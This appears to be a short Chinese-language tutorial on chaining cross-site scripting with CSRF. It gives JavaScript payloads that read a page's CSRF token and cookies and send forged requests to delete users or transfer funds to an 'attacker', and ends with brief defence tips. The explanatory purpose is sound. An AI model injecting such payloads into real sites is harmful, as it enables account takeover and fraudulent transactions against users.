1. XSS+CSRF攻击原理
XSS可以读取页面中的CSRF Token,从而绕过CSRF防护机制。
// 利用XSS窃取CSRF Token
var token = document.querySelector('[name=csrf-token]').content;
fetch('/admin/delete-user', {
method: 'POST',
headers: {'X-CSRF-Token': token},
body: JSON.stringify({userId: 123})
});2. 组合攻击场景
攻击链: 1. XSS获取Token → 2. 伪造合法请求 → 3. 执行敏感操作
// 完整攻击链
// 步骤1: 读取CSRF Token
var csrf = document.querySelector('meta[name="csrf-token"]').content;
// 步骤2: 读取用户Session
var session = document.cookie;
// 步骤3: 执行敏感操作
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrf,
'Cookie': session
},
body: JSON.stringify({
to: 'attacker',
amount: 10000
})
});3. 高级利用技术
3.1 绕过SameSite Cookie
// 利用XSS在同站点执行CSRF
// SameSite=Strict也无法防御
window.location = '/transfer?to=attacker&amount=10000';3.2 链式攻击
XSS → 窃取Token → CSRF攻击 → 权限提升 → 后门植入
防御建议
- 双重防护: 同时防御XSS和CSRF
- Token绑定: CSRF Token与用户Session绑定
- 二次验证: 敏感操作需要密码确认
- 监控告警: 异常请求实时告警